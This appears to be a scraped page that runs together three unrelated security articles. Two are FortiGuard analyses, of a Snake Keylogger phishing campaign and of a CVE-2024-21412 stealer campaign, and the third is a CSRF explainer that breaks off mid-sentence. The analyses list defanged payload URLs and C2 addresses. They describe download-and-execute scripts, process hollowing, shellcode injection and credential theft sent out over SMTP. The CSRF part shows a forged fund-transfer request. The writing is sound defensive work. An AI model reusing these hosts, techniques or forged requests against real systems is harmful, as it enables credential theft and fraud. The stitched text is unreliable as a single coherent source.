Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Collects sensitive information from the victim’s computer Severity level: High
Fortinet’s FortiGuard Labs recently caught a phishing campaign in the wild with a malicious Excel document attached to the phishing email. We performed a deep analysis on the campaign and discovered that it delivers a new variant of Snake Keylogger.
Snake Keylogger (aka “404 Keylogger” or “KrakenKeylogger”) is a subscription-based keylogger with many capabilities. It is a .NET-based software originally sold on a hacker forum.
Once executed on a victim’s computer, it has the ability to steal sensitive data, including saved credentials from web browsers and other popular software, the system clipboard, and basic device information. It can also log keystrokes and capture screenshots.
In the following sections, we will look at the phishing spam, how it lures the recipient into opening a malicious Excel document, how the Excel document downloads and executes a new variant of Snake Keylogger, and what anti-analysis techniques it uses to protect itself from being detected and blocked during the attack.
Snake Keylogger Overview
The Phishing Email
Figure 1: The phishing email.
The email content in Figure 1 attempts to deceive the recipient into opening the attached Excel file (swift copy.xls) by claiming that funds have been transferred into their account. To warn the user, the FortiGuard service marks this phishing email as “[virus detected],” as shown in the subject line.
The Malicious Excel Document
Figure 2: When the Excel file is opened in Excel program.
Figure 2 shows the content of the attached Excel file when opened in the Office Excel program. Meanwhile, malicious code is executed in the background to download other files.
Looking into the binary data of the Excel file, it contains a specially crafted embedded link object that exploits the CVE-2017-0199 vulnerability to download a malicious file. Figure 3 displays the embedded link object (“\x01Ole”). The link is “hxxp[:]//urlty[.]co/byPCO,” which is secretly requested by the Excel program when the file is opened.
Figure 3: Crafted embedded OLE link object.
When the link is accessed, it returns with another URL in the “Location” field of the response header, which is “hxxp[:]//192.3.176[.]138/xampp/zoom/107.hta”. HTA file is an HTML Application file executed by a Windows application— by default, the HTML Application host (mshta.exe).
The 107.hta file is full of obfuscated JavaScript code that is executed automatically when loaded by mshta.exe. Figure 4 shows a partial view of the JavaScript code.
Figure 4: The partial content of the downloaded file “107.hta”.
VBScript Code & PowerShell Code
After decoding and de-obfuscating the JavaScript code, we were able to get a piece of the VBScript code, as shown in Figure 5.
Figure 5: The VBScript code decoded from Javascript code.
It’s evident that the VBScript code created an object of “Script.Shell” and executed a piece of PowerShell code decoded from a base64 string, defined in the variable “ps_code”. This PowerShell code is then executed by “cmd.exe” (%ComSpec%) when the “shellObj.Run()” function is called.
The base64 decoded PowerShell code is shown below. It invokes a Windows API, URLDownloadToFile(), to download an executable file to the victim’s computer and run it after waiting three seconds.
The URL of the executable file is hardcoded as “hxxp[:]//192.3.176[.]138/107/sahost.exe” and the local file is “%Appdata%\sahost.exe”. The PowerShell code finally starts the executable file by calling Start “$Env:AppData\sahost.exe”.
Dive into the Loader-Module
My research shows that the downloaded EXE file (sahost.exe) contains a new variant of Snake Keylogger, which is extracted, decrypted, loaded, and run by the EXE file. I will refer to this downloaded EXE file as the Loader module.
Figure 6 is a screenshot of its analysis in a packer detection tool. It was developed using the Microsoft .Net Framework.
Figure 6: Properties of the downloaded EXE.
To protect the Snake Keylogger core module from being detected and blocked by cybersecurity products, sahost.exe uses multiple-layer protection techniques, like transformation and encryption, within several named resources. When sahost.exe starts, it extracts several modules (dlls) onto its memory from the Resource section that provide methods to inquire, extract, decrypt, install, and deploy the core module.
The original name of “sahost.exe” is “utGw.exe.” It decrypts and extracts a module called “FGMaker.dll” from a resource named “siri” in its Resource section. Figure 7 shows some of that code.
Figure 7: Load a module from Resouce “siri”
The “FGMaker.dll” module extracts additional modules (such as “Q” and “Gammar.dll”) that work together to extract and decrypt a module called “Tyrone.dll” from the resource “KKki”.
Figure 8: Resource “KKki” is about to load
You may have noticed in Figure 8 that it loads “KKki” as a Bitmap resource. The module “Tyrone.dll” was encrypted, broken down into bytes, and kept in the Bitmap resource. Figure 9 shows the content of the resource “KKki” as a Bitmap picture.
Figure 9: Bitmap resource “KKki”.
After another decryption sequence, we can see the plaintext of the “Tyrone.dll” module in memory. It is then loaded as an executable module by calling the Assembly.Load() method.
Figure 10 showcases the modules that have been extracted and loaded by the Loader module so far.
Figure 10: Relevant modules extracted by the Loader module.
Dissecting the Deploy Module
I will refer to “Tyrone.dll” as “Deploy module” in the following analysis. It performs the following functions:
Renames the Loader module file.
This checks whether the current process’s full path is “% AppData%WeENKtk.exe,” renames it, and sets attributes (Hidden, ReadOnly, System, etc.) to it if the result is no. On the very first run, it was %AppData%sahost. exe.
Ensures Snake Keylogger persistence.
The Deploy module runs the “schetasks.exe” command to create a new scheduled task in the system Task Scheduler. This allows Snake Keylogger to launch at system startup. Figure 11 shows the scheduled task for Snake Keylogger.
Figure 11: Snake Keylogger is added in the system Task Scheduler.
Process hollowing.
The Deploy module obtains a resource data, “I7O14IyvsdO,” from its own Resource section. Then, it decrypts the data with the string key “YRDdITlYRXI” into a final PE file in its memory. This is the core module of Snake Keylogger.
Next, the Deploy module performs process hollowing, a malware technique that creates a new process and then inserts malicious code into it to run. This allows it to hide its original process.
Figure 12: Break on a method calling CreateProcess().
Figure 12 shows that it about to call the obfuscated API CreateProcess(). It has a key argument, “Creation Flag,” indicating how to create the process. Its value has been set to 134217732, i.e. 0x08000004 in hexadecimal. It is defined as “CREATE_SUSPENDED” and “CREATE_NO_WINDOW.” The process name, the first argument to CreateProcess(), is the same as the Loader module.
To complete the process hollowing, it needs to call some relevant Windows APIs, such as ZwUnmapViewOfSection(), VirtualAllocEx(), ReadProcessMemory(), WriteProcessMemory(), GetThreadContext(), SetThreadContext(), and ResumeThread().
Snake Keylogger Core Module and Features
The core module’s original name is “lfwhUWZlmFnGhDYPudAJ.exe.” Figure 13 shows that the attacker has fully obfuscated the entire module, which displays its entry point (“Main()”) and the obfuscated code, class names, and method names.
The Snake Keylogger’s structure is very clear. We can see its capability to collect private and sensitive information from the victim’s device, including the device’s basic information, saved credentials, keystrokes, screenshots, and data on the system clipboard.
The features are split into different methods driven by Timers. Snake Keylogger also has some relevant flag variables indicating whether the feature is enabled.
This variant of Snake Keylogger only enables the credential collection feature.
First, Snake Keylogger fetches the device’s basic information, like the PC name, System time, IP address, Country name, Region name, City name, TimeZone, and so on. Figure 14 shows an example of the basic information collected from one of my testing devices.
Figure 14: Basic information example.
This Snake Keylogger variant includes several hardcoded IP addresses the attacker may believe are used by some sample automatic analysis systems they want to avoid.
Figure 15: Method to detect victim’s IP address.
One method called “anti_bot(),” shown in Figure 15, checks the hardcoded IP addresses. “BotDetected” is returned if the victim’s IP address matches any of those IP addresses. This results in the Snake Keylogger only collecting credentials but never sending them to the attacker.
Credentials Collection
Snake Keylogger collects saved credentials from over 50 popular software programs, categorized as web browsers, email clients, IM clients, and FTP clients.
Figure 16: Method for fetching Google Chrome credentials.
Every software has its own profile folder for saving configuration data. Snake Keylogger traverses all the profile files, looking for the saved credentials. Figure 16 is an example of the method used for Google Chrome. As you may have noticed in the “Locals” tab, it just obtained one set of credentials, including “URL,” “Login ID,” and “Login Password.”
Mozilla-based Web Browsers: “SeaMonkey,” “IceDragon,” “CyberFox,” “WaterFox,” “Postbox,” and “PaleMoon”
Other Web Browsers: “Opera,” “Firefox”.
Email clients: “FoxMail,” “Thunderbird”.
FTP clients: “FileZilla”.
IM client: “Pidgin,” “Discord”.
All the credentials collected from the above software are temporarily stored in a global variable.
Stolen Credentials Submitted Over SMTP
Snake Keylogger variants have several ways to submit harvested credentials to the attacker, including uploading the data onto an FTP server, sending it to an email address, and submitting it over Telegram’s bot over HTTP Post method. This variant of Snake Keylogger sends data over SMTP.
Figure 17 is a screenshot of how it builds the email content. The upper part contains the code that includes the email’s sender, recipient, subject, and body, while the lower part shows the content of the variable “mailMessage” with the data filled by the code.
Figure 17: Created email message with collected credentials.
The email’s body contains the computer’s basic information saved in a global variable, followed by the credentials stolen from the victim’s computer saved in another global variable. It then creates an SMTP client, and its Send() method is called to send the credentials to the attacker.
Figure 18 shows an example of how the email looks in Microsoft Outlook.
Figure 18: Attacker’s view of the email.
Snake Keylogger Summary
Figure 19 illustrates the entire workflow of the Snake Keylogger campaign.
Figure 19: Snake Keylogger campaign workflow.
This analysis reviewed the entire process of this Snake Keylogger campaign, which is being led by a phishing email.
The phishing email, which included a malicious Excel document, lured the recipient into opening the file to see the details of a “balance payment.” The Excel document was displayed in different tools, and I explained how it downloads an HTA file by exploiting a known vulnerability.
It then leverages multiple language scripts, such as JavaScript, VBScript, and PowerShell, to download the Snake Keylogger’s Loader module.
Afterward, I elaborated on how the Loader module extracts multiple modules (including several middle modules and the Deploy module) from the file’s Resource section. Malware often uses a process like this to prevent being detected and analyzed.
Next, I introduced how the Snake Keylogger Deploy module establishes persistence on the victim’s computer and conducts process hollowing to put the core module into a newly created process to run.
Finally, we examined how the Snake Keylogger steals sensitive information from the victim’s computer and how the stolen data is sent to the attacker using the SMTP protocol.
Fortinet Protections
Fortinet customers are already protected from this campaign with FortiGuard’s AntiSPAM, Web Filtering, IPS, and AntiVirus services as follows:
The relevant URLs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.
FortiMail recognizes the phishing email as “virus detected.” In addition, real-time anti-phishing provided by FortiSandbox embedded in Fortinet’s FortiMail, web filtering, and antivirus solutions provides advanced protection against both known and unknown phishing attempts.
FortiGuard IPS service detects the vulnerability exploit against CVE-2017-0199 with the signature “MS.Office.OLE.autolink.Code.Execution”.
FortiGuard Antivirus service detects the attached Excel document, 107.hta, the downloaded executable file and the extracted Snake Keylogger with the following AV signatures.
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.
The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.
To stay informed of new and emerging threats, you can sign up to receive future alerts.
We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
Affected Platforms: Microsoft Windows Impacted Users: Microsoft Windows Impact: The stolen information can be used for future attack Severity Level: High
CVE-2024-21412 is a security bypass vulnerability in Microsoft Windows SmartScreen that arises from an error in handling maliciously crafted files. A remote attacker can exploit this flaw to bypass the SmartScreen security warning dialog and deliver malicious files. Over the past year, several attackers, including Water Hydra, Lumma Stealer, and Meduza Stealer, have exploited this vulnerability.
FortiGuard Labs has observed a stealer campaign spreading multiple files that exploit CVE-2024-21412 to download malicious executable files. Initially, attackers lure victims into clicking a crafted link to a URL file designed to download an LNK file. The LNK file then downloads an executable file containing an HTA script. Once executed, the script decodes and decrypts PowerShell code to retrieve the final URLs, decoy PDF files, and a malicious shell code injector. These files aim to inject the final stealer into legitimate processes, initiating malicious activities and sending the stolen data back to a C2 server.
The threat actors have designed different injectors to evade detection and use various PDF files to target specific regions, including North America, Spain, and Thailand. This article elaborates on how these files are constructed and how the injector works.
Figure 1: Telemetry
Figure 2: Attack chain
Initial Access
To start, the attacker constructs a malicious link to a remote server to search for a URL file with the following content:
Figure 3: URL files
The target LNK file employs the “forfiles” command to invoke PowerShell, then executes “mshta” to fetch an execution file from the remote server “hxxps://21centuryart.com.”
Figure 4: LNK file
During our investigation, we collected several LNK files that all download similar executables containing an HTA script embedded within the overlay. This HTA script has set WINDOWSTATE=”minimize” and SHOWTASKBAR=”no.” It plays a crucial role in the infection chain by executing additional malicious code and seamlessly facilitating the next stages of the attack.
Figure 5: HTA script in overlay
After decoding and decrypting the script, a PowerShell code downloads two files to the “%AppData%” folder. The first is a decoy PDF, a clean file that extracts the victim’s attention from malicious activity, and the other is an execution file that injects shell code for the next stage.
Figure 1: Telemetry
Figure 7: Decoy PDF files
Shell Code Injector
In this attack chain, we identified two types of injectors. The first leverages an image file to obtain a shell code. As of mid-July, it had low detection rates on VirusTotal.
Figure 8: Shell code injector on VirusTotal
After anti-debugging checking, it starts downloading a JPG file from the Imghippo website, “hxxps://i.imghippo[.]com/files/0hVAM1719847927[.]png.” It then uses the Windows API “GdipBitmapGetPixel” to access the pixels and decode the bytes to get the shell code.
Figure 9: Getting the PNG file
It then calls “dword ptr ss:[ebp-F4]” to the entry point of the shell code. The shell code first obtains all the APIs from a CRC32 hash, creates a folder, and drops files in “%TEMP%.” We can tell that these dropped files are HijackLoader based on the typical bytes “\x49\x44\x 41\x54\xC6\xA5\x79\xEA” found in the encrypted data.
Figure 10: Call shell code’s entry point
Figure 11: CRC32 hashes for Windows APIs
Figure 12: Dropping files in the temp folder
Figure 13: Dropped HijackLoader files
The other injector is more straightforward. It decrypts its code from the data section and uses a series of Windows API functions—NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection, NtMapViewOfSection again, and NtProtectVirtualMemory—to perform shell code injection.
Figure 14: Assembly code for calling shell code
Final Stealers
This attack uses Meduza Stealer version 2.9 and the panel found at hxxp://5[.]42[.]107[.]78/auth/login.
Figure 15: Meduza Stealer’s panel
We also identified an ACR stealer loaded from HijackLoader. This ACR stealer hides its C2 with a dead drop resolver (DDR) technique on the Steam community website, hxxps://steamcommunity[.]com/profiles/76561199679420718.
Figure 16: Base64 encoded C2 on Steam
We also found the C2 for other ACR Stealers on Steam by searching for the specific string, “t6t”.
Figure 17: Other ACR Stealer’s C2 server information on Steam
After retrieving the C2 hostname, the ACR stealer appends specific strings to construct a complete URL, “hxxps://pcvcf[.]xyz/ujs/a4347708-adfb-411c-8f57-c2c166fcbe1d”. This URL then fetches the encoded configuration from the remote server. The configuration data typically contains crucial information, such as target specifics and operational parameters for the stealer. By decoding the C2 from Steam, the stealer can adapt legitimate web services to maintain communications with its C2 server.
Figure 18: Decoded ACR Stealer’s configuration
Except for local text files in paths “Documents” and “Recent, “ ACR Stealer has the following target applications:
Browser: Google Chrome, Google Chrome SxS, Google Chrome Beta, Google Chrome Dev, Google Chrome Unstable, Google Chrome Canary, Epic Privacy Browser, Vivaldi, 360Browser Browser, CocCoc Browser, K-Melon, Orbitum, Torch, CentBrowser, Chromium, Chedot, Kometa, Uran, liebao, QIP Surf, Nichrome, Chromodo, Coowon, CatalinaGroup Citrio, uCozMedia Uran, Elements Browser, MapleStudio ChromePlus, Maxthon3, Amigo, Brave-Browser, Microsoft Edge, Opera Stable, Opera GX Stable, Opera Neon, Mozilla Firefox, BlackHawk, and TorBro.
Email Clients: Mailbird, eM Client, The Bat!, PMAIL, Opera Mail, yMail2, TrulyMail, Pocomail, and Thunderbird.
VPN Service: NordVPN and AzireVPN.
Password Manager: Bitwarden, NordPass, 1Password, and RoboForm.
Other: AnyDesk, MySQL Workbench, GHISLER, Sticky Notes, Notezilla , To-Do DeskList, snowflake-ssh, and GmailNotifierPro.
The following Chrome Extensions:
nphplpgoakhhjchkkhmiggakijnkhfnd
apbldaphppcdfbdnnogdikheafliigcf
fldfpgipfncgndfolcbkdeeknbbbnhcc
ckdjpkejmlgmanmmdfeimelghmdfeobe
omaabbefbmiijedngplfjmnooppbclkk
iodngkohgeogpicpibpnaofoeifknfdo
afbcbjpbpfadlkmhmclhkeeodmamcflc
hnefghmjgbmpkjjfhefnenfnejdjneog
lodccjjbdhfakaekdiahmedfbieldgik
fpcamiejgfmmhnhbcafmnefbijblinff
hcflpincpppdclinealmandijcmnkbgn
egdddjbjlcjckiejbbaneobkpgnmpknp
bcopgchhojmggmffilplmbdicgaihlkp
nihlebdlccjjdejgocpogfpheakkpodb
fhmfendgdocmcbmfikdcogofphimnkno
ilbibkgkmlkhgnpgflcjdfefbkpehoom
kpfopkelmapcoipemfendmdcghnegimn
oiaanamcepbccmdfckijjolhlkfocbgj
fhbohimaelbohpjbbldcngcnapndodjp
ldpmmllpgnfdjkmhcficcifgoeopnodc
cnmamaachppnkjgnildpdmkaakejnhae
mbcafoimmibpjgdjboacfhkijdkmjocd
nlbmnnijcnlegkjjpcfjclmcfggfefdm
jbdpelninpfbopdfbppfopcmoepikkgk
amkmjjmmflddogmhpjloimipbofnfjih
onapnnfmpjmbmdcipllnjmjdjfonfjdm
cphhlgmgameodnhkjdmkpanlelnlohao
cfdldlejlcgbgollnbonjgladpgeogab
kncchdigobghenbbaddojjnnaogfppfj
ablbagjepecncofimgjmdpnhnfjiecfm
jojhfeoedkpkglbfimdfabpdfjaoolaf
fdfigkbdjmhpdgffnbdbicdmimfikfig
ffnbelfdoeiohenkjibnmadjiehjhajb
njojblnpemjkgkchnpbfllpofaphbokk
pdgbckgdncnhihllonhnjbdoighgpimk
hjagdglgahihloifacmhaigjnkobnnih
ookjlbkiijinhpmnjffcofjonbfbgaoc
pnlccmojcmeohlpggmfnbbiapkmbliob
mnfifefkajgofkcjkemidiaecocnkjeh
ljfpcifpgbbchoddpjefaipoiigpdmag
flpiciilemghbmfalicajoolhkkenfel
bhghoamapcdpbohphigoooaddinpkbai
jfdlamikmbghhapbgfoogdffldioobgl
gaedmjdfmmahhbjefcbgaolhhanlaolb
nkbihfbeogaeaoehlefnkodbefgpgknn
imloifkgjagghnncjkhggdhalmcnfklk
aiifbnbfobpmeekipheeijimdpnlpgpp
oeljdldpnmdbchonielidgobddffflal
aeachknmefphepccionboohckonoeemg
ilgcnhelpchnceeipipijaljkblbcobl
hpglfhgfnhbgpjdenjgmdgoeiappafln
nngceckbapebfimnlniiiahkandclblb
nknhiehlklippafakaeklbeglecifhad
oboonakemofpalcgghocfoadofidjkkk
dmkamcknogkgcdfhhbddcghachkejeap
fdjamakpfbbddfjaooikfcpapjohcfmg
jnmbobjmhlngoefaiojfljckilhhlhcj
fooolghllnmhmmndgjiamiiodkpenpbb
klnaejjgbibmhlephnhpmaofohgkpgkd
bfogiafebfohielmmehodmfbbebbbpei
ibnejdfjmmkpcnlpebklmnkoeoihofec
lfochlioelphaglamdcakfjemolpichk
ejbalbakoplchlghecdalmeeeajnimhm
hdokiejnpimakedhajhdlcegeplioahd
kjmoohlgokccodicjjfebfomlbljgfhk
naepdomgkenhinolocfifgehidddafch
fnjhmkhhmkbjkkabndcnnogagogbneec
bmikpgodpkclnkgmnpphehdgcimmided
nhnkbkgjikgcigadomkphalanndcapjk
nofkfblpeailgignhkbnapbephdnmbmn
hnfanknocfeofbddgcijnmhnfnkdnaad
jhfjfclepacoldmjmkmdlmganfaalklb
cihmoadaighcejopammfbmddcmdekcje
chgfefjpcobfbnpmiokfjjaglahmnded
bfnaelmomeimhlpmgjnjophhpkkoljpa
igkpcodhieompeloncfnbekccinhapdb
djclckkglechooblngghdinmeemkbgci
cfhdojbkjhnklbpkdaibdccddilifddb
jiidiaalihmmhddjgbnbgdfflelocpak
kmmkllgcgpldbblpnhghdojehhfafhro
lgmpcpglpngdoalbgeoldeajfclnhafa
ibegklajigjlbljkhfpenpfoadebkokl
egjidjbpglichdcondbcbdnbeeppgdph
ijpdbdidkomoophdnnnfoancpbbmpfcn
flhbololhdbnkpnnocoifnopcapiekdi
llalnijpibhkmpdamakhgmcagghgmjab
kkhmbjifakpikpapdiaepgkdephjgnma
mjdmgoiobnbombmnbbdllfncjcmopfnc
ekkhlihjnlmjenikbgmhgjkknoelfped
dlcobpjiigpikoobohmabehhmhfoodbb
jngbikilcgcnfdbmnmnmnleeomffciml
jnlgamecbpmbajjfhmmmlhejkemejdma
hcjginnbdlkdnnahogchmeidnmfckjom
kbdcddcmgoplfockflacnnefaehaiocb
ogphgbfmhodmnmpnaadpbdadldbnmjji
kgdijkcfiglijhaglibaidbipiejjfdp
hhmkpbimapjpajpicehcnmhdgagpfmjc
epapihdplajcdnnkdeiahlgigofloibg
ojhpaddibjnpiefjkbhkfiaedepjheca
mgffkfbidihjpoaomajlbgchddlicgpn
fmhjnpmdlhokfidldlglfhkkfhjdmhgl
ebfidpplhabeedpnhjnobghokpiioolj
gjhohodkpobnogbepojmopnaninookhj
dngmlblcodfobpdpecaadgfbcggfjfnm
hmglflngjlhgibbmcedpdabjmcmboamo
ldinpeekobnhjjdofggfgjlcehhmanlj
eklfjjkfpbnioclagjlmklgkcfmgmbpg
mdjmfdffdcmnoblignmgpommbefadffd
jbkfoedolllekgbhcbcoahefnbanhhlh
aflkmfhebedbjioipglgcbcmnbpgliof
mcohilncbfahbmgdjkbpemcciiolgcge
dmjmllblpcbmniokccdoaiahcdajdjof
jbdaocneiiinmjbjlgalhcelgbejmnid
lnnnmfcpbkafcpgdilckhmhbkkbpkmid
blnieiiffboillknjnepogjhkgnoapac
odpnjmimokcmjgojhnhfcnalnegdjmdn
cjelfplplebdjjenllpjcblmjkfcffne
bopcbmipnjdcdfflfgjdgdjejmgpoaab
fihkakfobkmkjojpchpfgcmhfjnmnfpi
cpmkedoipcpimgecpmgpldfpohjplkpp
kkpllkodjeloidieedojogacfhpaihoh
khpkpbbcccdmmclmpigdgddabeilkdpd
nanjmdknhkinifnkgdcggcfnhdaammmj
mcbigmjiafegjnnogedioegffbooigli
nkddgncdjgjfcddamfgcmfnlhccnimig
fiikommddbeccaoicoejoniammnalkfa
acmacodkjbdgmoleebolmdjonilkdbch
heefohaffomkkkphnlpohglngmbcclhi
phkbamefinggmakgklpkljjmgibohnba
ocjdpmoallmgmjbbogfiiaofphbjgchh
efbglgofoippbgcjepnhiblaibcnclgk
hmeobnfnfcmdkdcmlblgagmfpfboieaf
lpfcbjknijpeeillifnkikgncikgfhdo
kfdniefadaanbjodldohaedphafoffoh
ejjladinnckdgjemekebdpeokbikhfci
kmhcihpebfmpgmihbkipmjlmmioameka
opcgpfmipidbgpenhmajoajpbobppdil
gafhhkghbfjjkeiendhlofajokpaflmk
aholpfdialjgjfhomihkjbmgjidlcdno
kglcipoddmbniebnibibkghfijekllbl
onhogfjeacnfoofkfgppdlbmlmnplgbn
iokeahhehimjnekafflcihljlcjccdbe
mopnmbcafieddcagagdcbnhejhlodfdd
idnnbdplmphpflfnlkomgpfbpcgelopg
fijngjgcjhjmmpcmkeiomlglpeiijkld
kmphdnilpmdejikjdnlbcnmnabepfgkh
hifafgmccdpekplomjjkcfgodnhcellj
cgeeodpfagjceefieflmdfphplkenlfk
ijmpgkjfkbfhoebgogflfebnmejmfbm
pdadjkfkgcafgbceimcpbkalnfnepbnk
lkcjlnjfpbikmcmbachjpdbijejflpcm
odbfpeeihdkbihmopkbjmoonfanlbfcl
onofpnbbkehpmmoabgpcpmigafmmnjh
fhilaheimglignddkjgofkcbgekhenbh
dkdedlpgdmmkkfjabffeganieamfklkm
aodkkagnadcbobfpggfnjeongemjbjca
nlgbhdfgdhgbiamfdfmbikcdghidoadd
dngmlblcodfobpdpecaadgfbcggfjfnm
infeboajgfhgbjpjbeppbkgnabfdkdaf
lpilbniiabackdjcionkobglmddfbcjo
ppbibelpcjmhbdihakflkdcoccbgbkpo
bhhhlbepdkbapadjdnnojkbgioiodbic
klghhnkeealcohjjanjjdaeeggmfmlpl
jnkelfanjkeadonecabehalmbgpfodjm
enabgbdfcbaehmbigakijjabdpdnimlg
jgaaimajipbpdogpdglhaphldakikgef
mmmjbcfofconkannjonfmjjajpllddbg
kppfdiipphfccemcignhifpjkapfbihd
bifidjkcdpgfnlbcjpdkdcnbiooooblg
loinekcabhlmhjjbocijdoimmejangoa
nebnhfamliijlghikdgcigoebonmoibm
anokgmphncpekkhclmingpimjmcooifb
fcfcfllfndlomdhbehjjcoimbgofdncg
cnncmdhjacpkmjmkcafchppbnpnhdmon
ojggmchlghnjlapmfbnjholfjkiidbch
mkpegjkblkkefacfnmkajcjmabijhclg
Conclusion
This campaign primarily targets CVE-2024-21412 to spread LNK files for downloading execution files that embed HTA script code within their overlays. The HTA script runs silently, avoiding any pop-up windows, and clandestinely downloads two files: a decoy PDF and an execution file designed to inject shell code, setting the stage for the final stealers.
To mitigate such threats, organizations must educate their users about the dangers of downloading and running files from unverified sources. Continuous innovation by threat actors necessitates a robust and proactive cybersecurity strategy to protect against sophisticated attack vectors. Proactive measures, user awareness, and stringent security protocols are vital components in safeguarding an organization’s digital assets.
Fortinet Protections
The malware described in this report is detected and blocked by FortiGuard Antivirus:
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.
The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.
FortiGuard Labs provides IPS signature against attacks exploiting CVE-2024-21412:
We also suggest that organizations go through Fortinet’s free NSE training module: NSE 1 – Information Security Awareness. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.
FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.
If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.
Cross-Site Request Forgery (CSRF) is a serious web security vulnerability that allows attackers to exploit active sessions of targeted users to perform privileged actions on their behalf. Depending on the relevancy of the action and the permissions of the targeted user, a successful CSRF attack may result in anything from minor integrity impacts to a complete compromise of the application.
CSRF attacks can be delivered in various ways, and there are multiple defenses against them. At the same time, there are also many misconceptions surrounding this type of attack. Despite being a well-known vulnerability, there’s a growing tendency to rely too heavily on automated solutions and privacy-enhancing defaults in modern browsers to detect and prevent this issue. While these methods can mitigate exploitation in some cases, they can foster a false sense of security and don’t always fully address the problem.
It’s time to shatter the uncertainties surrounding CSRF once and for all. We’ll outline its fundamentals, attack methods, defense strategies, and common misconceptions – all with accompanied examples.
Cross-Site Request Forgery simplified
CSRF allows adversary-issued actions to be performed by an authenticated victim. A common example, given no implemented controls, involves you being logged into your bank account and then visiting an attacker-controlled website. Without your knowledge, this website submits a request to transfer funds from your account to the attacker’s using a hidden form.
Because you’re logged in on the bank application, the request is authenticated. This happens because the attacker crafted a request that appeared to originate from your browser, which automatically included your authentication credentials.
Assume that the simplified request below is sent when a fund transfer is made to an intended recipient:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]
amount=100&toUser=intended
To forge this request, an attacker would host the following HTML on their page:
This creates a hidden form on the attacker’s page. When visited by an authenticated victim, it triggers the victim’s browser to issue the request below with their session cookie, resulting in an unintended transfer to the attacker’s account:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token> (automatically included by the browser)
[...]
amount=5000&toUser=attacker
For this scenario to be possible, two conditions must be met:
1. The attacker must be able to determine all parameters and their corresponding values that are needed to perform a sensitive action. In the above scenario, only two are present: “amount” and “toUser”. An attacker can easily determine these by, for example, observing a legitimate outgoing request from their own account. The parameters’ values cannot hence be set to something unknown or unpredictable.
2. The victim’s browser must automatically include their authentication credentials. In our scenario, the bank application maintains an authenticated state using the “session” cookie. Controlling flags can be set on cookies to prevent them from being automatically included by requests issued cross-site, but more on this later.
This is the entire foundation for CSRF vulnerabilities. In a real-world scenario, performing sensitive actions would most likely not be possible with a request this simplified, as various defenses can prevent any or both conditions from being met.
CSRF defenses and bypasses
Understanding the two necessary conditions for CSRF, we can explore the most common defenses and how these can be circumvented if implemented incorrectly.
CSRF tokens
CSRF tokens are a purposeful defense aimed at preventing the condition of predictability. A CSRF token is simply an unpredictable value, tied to the user’s session, that is included in the request to validate an action – a value not known to the attacker.
Added to our fund transfer request, it would look as follows:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]
amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024
Already here, we can get an implementation fault out of the way:
Fault 1
If a security control relies on a value that is intended to be unknown to attackers, then proper measures are required to prevent disclosing the value, as well as to stop attackers from deducing or brute-forcing it.
To ensure the token’s unpredictability, it must be securely generated with sufficient entropy.
Primarily, an application transmits CSRF tokens in two ways: synchronizer token patterns and double-submit cookie patterns.
Synchronizer token patterns
In a synchronized token pattern, the server generates a CSRF token and shares it with the client before returning it, usually through a hidden form parameter for the associated action, such as:
On form submission, the server checks the CSRF token against one stored in the user’s session. If they match, the request is approved; otherwise, it’s rejected.
Fault 2
Failing to validate the CSRF token received from the client against the expected token stored in the user’s session enables an attacker to use a valid token from their own account to approve the request.
Observation
Keep in mind that even if the token is securely generated and validated, having it within the HTML document will leave it accessible to cross-site scripting and other vulnerabilities that can exfiltrate parts of the document, such as dangling markup and CSS injection.
If it’s also returned to the server as a request parameter, as in the example above, then an exfiltrated token can be easily added to a forged request. To prevent this, CSRF tokens can be returned as custom request headers.
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
X-ANTI-CSRF:o24b65486f506e2cd4403caf0d640024
[...]
amount=100&toUser=intended
This way, it will not be possible to send them cross-origin without a permissive CORS implementation. This is thanks to the same-origin policy, which prevents browsers from sending custom headers cross-origin.
Nonetheless, this method is uncommon, as it restricts the application to sending CSRF protected requests using AJAX.
Double-submit cookie patterns
In a double-submit cookie pattern, the server generates the token and sends it to the client in a cookie. Then the server only needs to verify that its value matches one sent in either a request parameter or header. This process is stateless, as the server doesn’t need to store any information about the CSRF token.
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>; anti-csrf=o24b65486f506e2cd4403caf0d640024
[...]
amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024
Fault 3
The issue arises when an attacker can overwrite the cookie value with their own, for example, through a response header injection or a taken-over subdomain. This allows them to use their own value in the token sent amongst the request parameters.
To mitigate this, it’s recommended to cryptographically sign the CSRF token using a secret known only to the server. This implementation is referred to as a signed double-submit cookie.
SameSite cookies
SameSite is an attribute that can be set on cookies to control how they are sent with cross-site requests. The values that the attribute can be given are ‘Strict’, ‘Lax’ and ‘None’.
When the SameSite attribute is set to ‘Strict’, the browser will only send the cookie for same-site requests. This means that the cookie will not be sent along with requests initiated from a different site, preventing our second CSRF condition: the victim’s browser automatically including their authentication credentials.
